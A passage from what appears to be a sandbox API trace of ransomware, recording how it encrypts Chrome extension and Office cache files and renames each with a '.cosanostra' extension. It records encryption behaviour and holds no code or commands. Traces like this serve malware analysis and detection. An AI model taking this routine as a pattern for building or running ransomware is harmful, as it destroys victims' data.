data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json.cosanostra")) returned 1 [0106.681] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df430 | out: pbBuffer=0x28df430) returned 1 [0106.681] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df428*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df428*=0x30) returned 1 [0106.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.683] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css") returned 162 [0106.683] StrStrW (lpFirst="cast_app.css", lpSrch=".txt") returned 0x0 [0106.708] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffe5e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.709] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1a1d, lpNumberOfBytesWritten=0x28df3ec, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df3ec*=0x1a1d, lpOverlapped=0x0) returned 1 [0106.709] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.709] WriteFile (in: hFile=0x15c, lpBuffer=0x28df42c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3ec, lpOverlapped=0x0 | out: lpBuffer=0x28df42c*, lpNumberOfBytesWritten=0x28df3ec*=0x4, lpOverlapped=0x0) returned 1 [0106.710] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3ec, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3ec*=0x30, lpOverlapped=0x0) returned 1 [0106.710] CloseHandle (hObject=0x15c) returned 1 [0106.710] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.cosanostra") returned 173 [0106.711] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\cast_app.css.cosanostra")) returned 1 [0106.745] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df428 | out: pbBuffer=0x28df428) returned 1 [0106.745] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df420*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df420*=0x30) returned 1 [0106.745] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.746] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 159 [0106.746] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.752] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffd97, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.752] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x269, lpNumberOfBytesWritten=0x28df3e4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df3e4*=0x269, lpOverlapped=0x0) returned 1 [0106.753] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.753] WriteFile (in: hFile=0x15c, lpBuffer=0x28df424*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3e4, lpOverlapped=0x0 | out: lpBuffer=0x28df424*, lpNumberOfBytesWritten=0x28df3e4*=0x4, lpOverlapped=0x0) returned 1 [0106.753] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3e4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3e4*=0x30, lpOverlapped=0x0) returned 1 [0106.753] CloseHandle (hObject=0x15c) returned 1 [0106.753] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.cosanostra") returned 170 [0106.753] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.cosanostra")) returned 1 [0106.757] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df420 | out: pbBuffer=0x28df420) returned 1 [0106.757] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df418*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df418*=0x30) returned 1 [0106.757] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.758] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json") returned 160 [0106.758] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.782] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffd4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.782] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2b4, lpNumberOfBytesWritten=0x28df3dc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df3dc*=0x2b4, lpOverlapped=0x0) returned 1 [0106.782] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.782] WriteFile (in: hFile=0x15c, lpBuffer=0x28df41c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3dc, lpOverlapped=0x0 | out: lpBuffer=0x28df41c*, lpNumberOfBytesWritten=0x28df3dc*=0x4, lpOverlapped=0x0) returned 1 [0106.782] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3dc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3dc*=0x30, lpOverlapped=0x0) returned 1 [0106.782] CloseHandle (hObject=0x15c) returned 1 [0106.783] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.cosanostra") returned 171 [0106.783] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json.cosanostra")) returned 1 [0106.786] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df418 | out: pbBuffer=0x28df418) returned 1 [0106.786] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df410*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df410*=0x30) returned 1 [0106.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0106.787] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json") returned 159 [0106.787] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.882] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffd97, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.882] WriteFile (in: hFile=0x15c, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x269, lpNumberOfBytesWritten=0x28df3d4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df3d4*=0x269, lpOverlapped=0x0) returned 1 [0106.882] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.882] WriteFile (in: hFile=0x15c, lpBuffer=0x28df414*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3d4, lpOverlapped=0x0 | out: lpBuffer=0x28df414*, lpNumberOfBytesWritten=0x28df3d4*=0x4, lpOverlapped=0x0) returned 1 [0106.882] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3d4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3d4*=0x30, lpOverlapped=0x0) returned 1 [0106.882] CloseHandle (hObject=0x15c) returned 1 [0106.882] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.cosanostra") returned 170 [0106.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json.cosanostra")) returned 1 [0106.886] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df410 | out: pbBuffer=0x28df410) returned 1 [0106.886] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df408*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df408*=0x30) returned 1 [0106.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0106.911] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 159 [0106.913] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0106.929] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffc8a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0106.929] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x376, lpNumberOfBytesWritten=0x28df3cc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df3cc*=0x376, lpOverlapped=0x0) returned 1 [0106.929] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.929] WriteFile (in: hFile=0x138, lpBuffer=0x28df40c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3cc, lpOverlapped=0x0 | out: lpBuffer=0x28df40c*, lpNumberOfBytesWritten=0x28df3cc*=0x4, lpOverlapped=0x0) returned 1 [0106.930] WriteFile (in: hFile=0x138, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3cc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3cc*=0x30, lpOverlapped=0x0) returned 1 [0106.930] CloseHandle (hObject=0x138) returned 1 [0106.930] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.cosanostra") returned 170 [0106.930] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json.cosanostra")) returned 1 [0106.931] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df410 | out: pbBuffer=0x28df410) returned 1 [0106.931] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df408*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df408*=0x30) returned 1 [0106.932] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0107.582] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png") returned 167 [0107.582] StrStrW (lpFirst="topbar_floating_button.png", lpSrch=".txt") returned 0x0 [0107.583] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.583] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x28df3cc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df3cc*=0xa0, lpOverlapped=0x0) returned 1 [0107.586] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.586] WriteFile (in: hFile=0x160, lpBuffer=0x28df40c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3cc, lpOverlapped=0x0 | out: lpBuffer=0x28df40c*, lpNumberOfBytesWritten=0x28df3cc*=0x4, lpOverlapped=0x0) returned 1 [0107.586] WriteFile (in: hFile=0x160, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3cc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3cc*=0x30, lpOverlapped=0x0) returned 1 [0107.586] CloseHandle (hObject=0x160) returned 1 [0107.587] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.cosanostra") returned 178 [0107.587] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button.png.cosanostra")) returned 1 [0107.588] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df408 | out: pbBuffer=0x28df408) returned 1 [0107.588] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df400*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df400*=0x30) returned 1 [0107.588] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0107.628] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 78 [0107.628] StrStrW (lpFirst="PidGenX.dll", lpSrch=".txt") returned 0x0 [0107.631] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.631] WriteFile (in: hFile=0x15c, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df3c4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df3c4*=0x2800, lpOverlapped=0x0) returned 1 [0107.631] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.631] WriteFile (in: hFile=0x15c, lpBuffer=0x28df404*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df3c4, lpOverlapped=0x0 | out: lpBuffer=0x28df404*, lpNumberOfBytesWritten=0x28df3c4*=0x4, lpOverlapped=0x0) returned 1 [0107.636] WriteFile (in: hFile=0x15c, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df3c4, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x28df3c4*=0x30, lpOverlapped=0x0) returned 1 [0107.636] CloseHandle (hObject=0x15c) returned 1 [0107.695] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.cosanostra") returned 89 [0107.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.cosanostra")) returned 1 [0107.696] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df408 | out: pbBuffer=0x28df408) returned 1 [0107.696] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x28df400*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x28df400*=0x30) returned 1 [0107.696] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0107.697] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 77 [0107.697] StrStrW (lpFirst="osetup.dll", lpSrch=".txt") returned 0x0 